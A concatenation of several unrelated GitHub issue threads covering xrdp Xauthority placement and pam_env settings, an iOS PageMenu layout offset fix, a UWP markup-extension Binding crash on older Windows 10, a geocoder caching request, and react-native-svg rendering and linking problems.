because i have searched in /user/run/pid/Xauthority which is not there

@moobyfr  why xrdp not using method such as gdm uses for example ,
gdm:-
/usr/lib/xorg/Xorg vt2 -displayfd 3 -auth /run/user/1000/gdm/Xauthority -background none -noreset -keeptty -verbose 3
xrdp:-
/usr/lib/xorg/Xorg :10 -auth .Xauthority -config xrdp/xorg.conf -noreset -nolisten tcp -logfile .xorgxrdp.%s.log

xrdp supports multiple operating systems not only recent GNU/Linux.
So the path cannot be changed to /run/user/UID/Xauthority without considerations.
One possible candidate under ${socketdir}.

Too GNU/Linux specific idea.

It seems that xrdp-sesman doesn't follow the XAUTHORITY variable on my computer. The xrdp session always got terminated immediately after logging in when I tried to force moving the annoying ~/.Xauthority file to $XDG_RUNTIME_DIR or setting the XAUTHORITY variable. Then ~/.Xauthority will still be created. I think this is definitely a unresolved issue, or even a bug.

Hello
There is no much configuration available for setting the xautority file:
it's in the $HOME or in the place fixed by $XAUTHORITY
when I implemented it, the variable setting was working.
Can you verify that the variable is set for the user ? some PAM
configuration needs to include pam_env to be able to set variable for
the user, and so the XAUTHORITY variable
Emmanuel
On 22/10/2022 10:14, KMX wrote:

It seems that xrdp-sesman doesn't follow the |XAUTHORITY| variable on
my computer. The xrdp session always got terminated immediately after
logging in when I tried to force moving the annoying |~/.Xauthority|
file to $XDG_RUNTIME_DIR or setting the |XAUTHORITY| variable. Then
|~/.Xauthority| will still be created. I think this is definitely a
unresolved issue, or even a bug.
—
Reply to this email directly, view it on GitHub
https://github.com/neutrinolabs/xrdp/issues/1069#issuecomment-1287673698,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAEZOXKST3PKBTU5CDWNFR3WEOO7TANCNFSM4EWH2HAQ.
You are receiving this because you were mentioned.Message ID:
@.***>

@moobyfr Setting the variable is not work at all for my Arch Linux. Here's the log:
systemd[1]: Starting xrdp session manager...
xrdp-sesman[3098]: [INFO ] starting xrdp-sesman with pid 3098
systemd[1]: Started xrdp session manager.
xrdp-sesman[3098]: [INFO ] Socket 12: AF_INET6 connection received from ::1 port 33886
xrdp-sesman[3098]: [INFO ] Terminal Server Users group is disabled, allowing authentication
xrdp-sesman[3098]: [INFO ] ++ created session (access granted): username *username*, ip *hidden* 12
xrdp-sesman[3098]: [INFO ] starting Xorg session...
xrdp-sesman[3098]: [INFO ] Found X server running at /tmp/.X11-unix/X10
xrdp-sesman[3098]: [INFO ] Starting session: session_pid 3126, display :11.0, width 1364, height 768, bpp 24, client ip *hidden* 12, user name *username*
xrdp-sesman[3126]: [INFO ] [session start] (display 11): calling auth_start_session from pid 3126
xrdp-sesman[3098]: [ERROR] sesman_data_in: scp_process_msg failed
xrdp-sesman[3126]: pam_unix(xrdp-sesman:session): session opened for user *username*(uid=1000) by (uid=0)
xrdp-sesman[3098]: [ERROR] sesman_main_loop: trans_check_wait_objs failed, removing trans
xrdp-sesman[3126]: pam_env(xrdp-sesman:session): deprecated reading of user environment enabled
xrdp-sesman[3126]: [INFO ] Found X server running at /tmp/.X11-unix/X11
xrdp-sesman[3126]: [INFO ] Session started successfully for user *username* on display 11
xrdp-sesman[3126]: [INFO ] Session in progress on display 11, waiting until the window manager (pid 3127) exits to end the session
xrdp-sesman[3126]: [WARN ] Window manager (pid 3127, display 11) exited with non-zero exit code 1 and signal 0. This could indicate a window manager config problem
xrdp-sesman[3126]: [WARN ] Window manager (pid 3127, display 11) exited quickly (1 secs). This could indicate a window manager config problem
xrdp-sesman[3126]: [INFO ] Calling auth_stop_session and auth_end from pid 3126
xrdp-sesman[3126]: pam_unix(xrdp-sesman:session): session closed for user *username*
xrdp-sesman[3126]: [INFO ] Terminating X server (pid 3128) on display 11
xrdp-sesman[3126]: [INFO ] Terminating the xrdp channel server (pid 3134) on display 11
xrdp-sesman[3126]: [INFO ] X server on display 11 (pid 3128) returned exit code 0 and signal number 0
xrdp-sesman[3098]: [INFO ] Process 3126 has exited
xrdp-sesman[3098]: [INFO ] ++ terminated session:  username *username*, display :11.0, session_pid 3126, ip *hidden* 12
systemd[1]: Stopping xrdp session manager...
xrdp-sesman[3098]: [INFO ] sesman_main_loop: sesman asked to terminate
systemd[1]: xrdp-sesman.service: Deactivated successfully.
systemd[1]: Stopped xrdp session manager.

@Lehmaning - where are you setting XAUTHORITY?
I suspect you're setting it in .bashrc or similar. This won't work as this file isn't read when the X server is started.
Does your system support pam_env ?

I suspect you're setting it in .bashrc or similar. This won't work as this file isn't read when the X server is started.
Does your system support pam_env ?

No, I set XAUTHORITY as a global environment variable in /etc/profile with the line export XAUTHORITY=/tmp/Xauthority. Even more I set it again in /etc/xrdp/startwm.sh, but it still didn't work as usual. Surely, I use Arch Linux so it must support pam_env. Should I set the variable by editing /etc/environment?

pam_env looks like it's part of the Arch core so it should be on your system.
I've got a Manjaro VM here. The file /etc/pam.d/xrdp-sesman contains this line:-
session     include     system-remote-login

The file /etc/pam.d/system-remote-login contains this line:-
session   include   system-login

The file /etc/pam.d/system-login contains this line:-
session    required   pam_env.so           user_readenv=1

So it looks like you should be able to set your XAUTHORITY in either /etc/environment or ~/.pam_environment. More information can be found in pam_env(8) and pam_env.conf(5).

@Lehmaning - do you need any more input on this?
Thanks.

@Lehmaning - do you need any more input on this?
Thanks.

Sorry for replying so late. I'll create an new detailed issue if I freed up my time.

Thanks.
When you open the new issue, please add a reference to this one using the string #1069 so we can follow the chain?

OK, I will.


PageMenu overlap with navigation

Environment: Xcode 7.1, iOS 9.1
I if create the Navigation Controller in Storyboard, and just copy the code from PageMenuDemo Storyboard, the PageMenu will overlap with the navigation bar (no title set up in picture)

But if I copy the story from the demo project, then will be work as expect

Is it a bug or I done something wrong?

i fixed that with the following offset:
let navheight = (navigationController?.navigationBar.frame.size.height ?? 0) + UIApplication.sharedApplication().statusBarFrame.size.height
let frame = CGRectMake(0, navheight, view.frame.width, view.frame.height-navheight)
pageMenu = CAPSPageMenu(viewControllers: subControllers, frame: frame, pageMenuOptions: menuParameters)
self.view.addSubview(pageMenu!.view)

@krummler Thanks for share the fixed, I've done something similar but I finally to create my own customer PagerBar

tnx @krummler , your idea helped me to fix the issue that I had when I changed from portrait to landscape. I had a blank space between navigation bar and menu items because navigation bar height in portrait mode is 44, and in landscape is 32 by default. Anyway I fixed it with code below
override func viewDidLayoutSubviews() {
    super.viewDidLayoutSubviews()

    // called on orientation change to fix blank space between navigation bar and menu items
    let navigationAndStatusBarHeight = (self.navigationController?.navigationBar.frame.height ?? 0) + UIApplication.sharedApplication().statusBarFrame.height
    pageMenu?.view.frame = CGRectMake(0.0, navigationAndStatusBarHeight, self.view.frame.width, self.view.frame.height-navigationAndStatusBarHeight)
}

I've had some more issues with this recently. I had a situation where the PageMenu had to leave space on the bottom (for a toolbar), easiest way would be to place the PageMenu in a subview. Since I place my view using autolayout, it created some problems for me, as the library doesn't seem to place too nicely with this.
I fixed this by editing CAPSPageMenu.swift on line 277 by changing:
 menuScrollView.translatesAutoresizingMaskIntoConstraints = true

to
 menuScrollView.translatesAutoresizingMaskIntoConstraints = false

From there on you can just place the pagemenu in a subview which is lined out correctly. Fixed all my ration/offset problems :).


Failed to assign to property 'Windows.UI.Xaml.Controls.AppBarButton.Label' because the type '%2' cannot be assigned to the type 'Windows.Foundation.String'

Describe the bug
All the description I have is here:
https://appcenter.ms/users/admin-shieldplayer/apps/Shield-Player/crashes/errors/3448336883u/reports
The error report looks like this.
Incident Identifier: 40844f61-50cd-4f3f-8271-c2d9ad254da6
CrashReporter Key:   33478228-b8fd-4861-8839-1cb148e12ea5
Hardware Model:      A55MD2

ComCallHelpers.Call (__ComObject, RuntimeTypeHandle, Int32)
System.Exception: Failed to assign to property 'Windows.UI.Xaml.Controls.AppBarButton.Label' because the type '%2' cannot be assigned to the type 'Windows.Foundation.String'. Failed to assign to property 'Windows.UI.Xaml.Controls.AppBarButton.Label' because the type '%2' cannot be assigned to the type 'Windows.Foundation.String'.
OS: WINDOWS 10.0.17763
Main thread
System.Runtime.InteropServices
McgMarshal.ThrowOnExternalCallFailed (Int32, RuntimeTypeHandle)
__Interop
ComCallHelpers.Call (__ComObject, RuntimeTypeHandle, Int32)
__Interop
ForwardComStubs.Stub_10[TThis] (__ComObject, Int32)
Microsoft.AppCenter.Utils
ApplicationLifecycleHelper.<ctor>b__17_1 (Object, UnhandledErrorDetectedEventArgs)

Steps to reproduce the bug
Unfortunately, I don't know.
Expected behavior
No error message or some explanation about "type '%2'".
Screenshots
N/A
Version Info
UWP app: UAP,Version=10.0.18362.0

Windows app type:

UWP
Win32

Tes

Windows 10 version
Saw the problem?

Insider Build (xxxxx)

May 2020 Update (19041)

November 2019 Update (18363)

May 2019 Update (18362)

October 2018 Update (17763)
Yes

April 2018 Update (17134)

Fall Creators Update (16299)

Creators Update (15063)

Device form factor
Saw the problem?

Desktop
Yes

Xbox

Surface Hub

IoT

Additional context

I don't have access to that link, can you provide more details in this issue description?

Updated the description.

Found some additional, potentially useful info.
The Label property is set in XAML via a custom markup extension:
<AppBarButton Click="{x:Bind About_Click}" Label="{l:Text TextId=Player.AboutMenu}"/>

The extension creates a Binding object, which points to a string.
Maybe, Binding is not supported in that version of Windows (17763)? If so, I can return a static string (which becomes non-updateable), but how do I know, which version(s) of Windows to do that for, and how can I determine that from a markup extension?

I can try putting together the code pieces I posted above. But I do not know whether this will reproduce the issue, I do not have that old version of Windows 10. Is it not possible for you guys to scan the code for "%2"? It's not often "%2" is used in C#...

%2 is coming from the formatted string for the error message, the parameter is null. This will be difficult to track down just from a source scan.

the parameter is null
What parameter?

The parameter to whatever formatted string the error system is attempting to present. We need a repro under a debugger to see what it is.

@StephenLPeters I have crafted a sample project, which includes the text handling part of the main project. As said, it only fails on 10.0.17763, so I do not know whether it can reproduce the error. How do I send it to you guys? It's a mere 64 KB archive.

@mc0re either upload it to github or attach it to a comment as a zip file.

I couldn't find the "attach" button. But now I noticed the footnote about drag-and-drop :-)
ProcentTwoError.zip

@chrisglein and @fabiant3 I suspect this is a platform issue with MarkupExtension, not sure which team owns it.

Based on this involving a custom markup extension I'd guess team-Markup.

@alwu-msft - please take a look when you get a chance

Anyone, please? The problem is still there. I know you won't make a Windows update for that :-), but maybe you can tell me how to avoid this problem. Currently it crashes the app without even Analytics picking up the error.

@mc0re Sorry for the delay in responding; I thought I'd already answered your question, but I'm failing to find it so maybe it was just in my head. :(
Unfortunately the behavior you're trying to take advantage of (return a Binding from a custom markup extension to set up a binding targeting a non-Binding property) was only added with Windows 10 1903 (18362). You can use the ApiInformation.IsApiContractPresent("Windows.Foundation.UniversalApiContract", 8) API to determine if the app is running on at least 18362, and return a String rather than a Binding if that is not the case.

@mc0re Sorry for the delay in responding; I thought I'd already answered your question, but I'm failing to find it so maybe it was just in my head. :(
Unfortunately the behavior you're trying to take advantage of (return a Binding from a custom markup extension to set up a binding targeting a non-Binding property) was only added with Windows 10 1903 (18362). You can use the ApiInformation.IsApiContractPresent("Windows.Foundation.UniversalApiContract", 8) API to determine if the app is running on at least 18362, and return a String rather than a Binding if that is not the case.

Thanks, this is the answer I needed.

Thanks, this is the answer I needed.


provide persistent caching

Heyho,
could you add caching functionality in your lib? The queries should be stored somewhere persistent on disk possibly surviving reboots (e.g. simple file or sqlite database).

Persistence can be accomplished in many ways and is outside the scope of a geocoder. I have a similar need and achieved it with gob and bbolt (https://github.com/p/weather/blob/master/backend/src/weather.go).


Text Editor App in Javascript

Can I submit it?

Please assign this task to me

Hey @gauriiighadge  please assign me in this  i like to add some codes its use like text editor , could you assign me ? Thank you .


Question: Are there any minimum requirements (e.g. React Native version)

Trying to use this module in an existing RN app but I can't get any SVGs to show — they just don't render at all (my own or copying from the examples in the README).
I'm on RN 0.19. I can upgrade but it always makes me nervous due to other modules.

Same issue with RN 0.24 version unable to show SVG .

Can you provide some example code？I need some code to figure out what happened here

`/**

Sample React Native App
https://github.com/facebook/react-native
@flow
*/

import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View
} from 'react-native';
import Svg,{
Line
} from 'react-native-svg';
var numbers = [0,1,2,3,4,5,6,7,8,9];
var graphValues = [1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1];
var currentValue = 0;
var lastKey = -1;
var _this;
module.exports = React.createClass({
render: function() {
_this = this;
return (

{this.dynamicGraph()}

);
},
dynamicGraph: function(){
return numbers.map(function(item, key){
return(

)
});
},
oddOrEven: function(value,isFirstPoint,isXCoordinate,isYCoordinate){
if(value % 2 == 0){
if(isYCoordinate && isFirstPoint){
return 0;
}
else if(isYCoordinate && !isFirstPoint){
return 10;
}
else if(isXCoordinate) {
if(!isFirstPoint){
return (10 * (value + 1));
}
else {
return (10 * value);
}
}
}
else {
if(isYCoordinate && isFirstPoint){
return 10;
}
else if(isYCoordinate && !isFirstPoint){
return 0;
}
else if(isXCoordinate){
if(!isFirstPoint){
return (10 * (value + 1));
}
else {
return (10 * value);
}
}
}
console.log('dummy');

},
redOrGreen: function(value){
if(value % 2 == 0)
return "red";
else
return "green";
}
});
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: 'gray',
},
});
`
This what I did till now to show line on android using react-native-svg but when I run the same code on IOS it works fine.

+1 same issue with RN 0.26.2
console output

It seems an issue with rnpm link... I manually added new RNSvgPackage() to getPackages array in MainActitvity.java and now all works fine...
rnpm link react-native-svg
rnpm-link info Android module react-native-svg is already linked
rnpm-link info iOS module react-native-svg is already linked
rnpm-link info Linking assets to ios project
rnpm-link info Linking assets to android project
rnpm-link info Assets has been successfully linked to your project

I'm having the same issue (= nothing drawn). I'm on RN 0.22. Any idea where to look to see whats going wrong?

@jak4 To Import and Install all the dependencies of react-native-svg ( rnpm link react-native-svg ) command is not sufficient because if we create a fresh copy of react native project for android then only this rnpm link  command is working fine for me , but when I am trying to run this same command in my existing project it is just importing svg package and including it.
i.e  in MainActivity.java file

import com.horcrux.svg.RNSvgPackage;

protected List<ReactPackage> getPackages() {
        return Arrays.<ReactPackage>asList(
            new MainReactPackage(),
            new RNSvgPackage()
        );
    }

So when we try to import and run this svg package it shows blank screen with console warning as mentioned above by @xxsnakerxx  .
So to fix this issue for android, there are some few steps you need to follow.
1> check your  package.json for (i.e "react-native-svg": "^2.1.0" ) if not exist then add this dependency.
2> check for settings.gradle  in projectname\android\settings.gradle  location whether the below code exist or not, If it does not exist then add this peace of code.
rootProject.name = 'projectname'

include ':app'
include ':react-native-svg'
project(':react-native-svg').projectDir = new File(rootProject.projectDir, '../node_modules/react-native-svg/android')

3> Also check for build.gradle  in projectname\android\app\build.gradle  location whether the below code exist or not, If it does not exist then add this peace of code in dependency section.
compile project(':react-native-svg')
4> check your MainActivity.java file whether the below sample code exist or not
i.e  in MainActivity.java file

import com.horcrux.svg.RNSvgPackage; //import this package

protected List<ReactPackage> getPackages() {
        return Arrays.<ReactPackage>asList(
            new MainReactPackage(),
            new RNSvgPackage() //include this package
        );
    }

5> clear npm cache by executing ( npm cache clear) command.
6> start react native server and run your android project.

@rickyn73 thanks for the huge reply. I'm currently doing an iOS app and haven't touched the Android-path in quite a few weeks, so it is not compiling at the moment. I will try to fix that though.
Would you know if similar error messages also show for an iOS app? Because I don't see any. I also don't see any SVG output ;).
Thank you.

I upgraded to RN 0.26.3 and it works now. With RN 0.22 it was really weird. On reload it did draw nothing but with hot reloading enabled from time to time, after changing a setting, it would draw something which kind of resembled what I asked it to draw (e.g. a rectangle) but also not quite.

It has a peerDependencies as
    "peerDependencies": {
        "react-native": ">=0.25.1"
    },

This peerDependencies was added in 2.0.0

I'm experiencing the same problem as @jak4. It's only happening on an element that has a Path element. Doesn't happen for Polygon or Line.
To reproduce:

Include the following snippet in a component:

<Svg height={100} width={100} viewBox="0 0 40 40">
    <G>
        <Path
            d="M26.73,30.87H15a8.91,8.91,0,1,1,7.78-13.25,7.23,7.23,0,1,1,4,13.25ZM15,14a7.91,7.91,0,1,0,0,15.82H26.73a6.23,6.23,0,1,0-3.86-11.11l-.49.39-.27-.57A7.94,7.94,0,0,0,15,14Z"
            fill="black"
        />
    </G>
</Svg>

Fire up the iOS simulator, enable hot reloading and navigate to that screen.
The svg component doesn't show on the screen.
Change the fill from black to blue and save.
The cloud drawing appears on the screen after hot reloading.

Notes:

React Native version: 0.42.3
Don't use a stateless component because hot reloading won't work. Use a class component.

More weirdness.
I noticed that there was a timing problem (svg renders only after hot reload) so I tried delaying the rendering by hand. It worked.
What I did was:

Add this constructor to the component holding the svg element:

    constructor(props) {
        super(props);
        this.state = {
            showingCloud: false
        };
        setTimeout(() => this.setState({ showingCloud: true }), 1000);
    }

Use conditional rendering so that the svg component only renders when the flag is set.

Does that help troubleshoot the issue at all?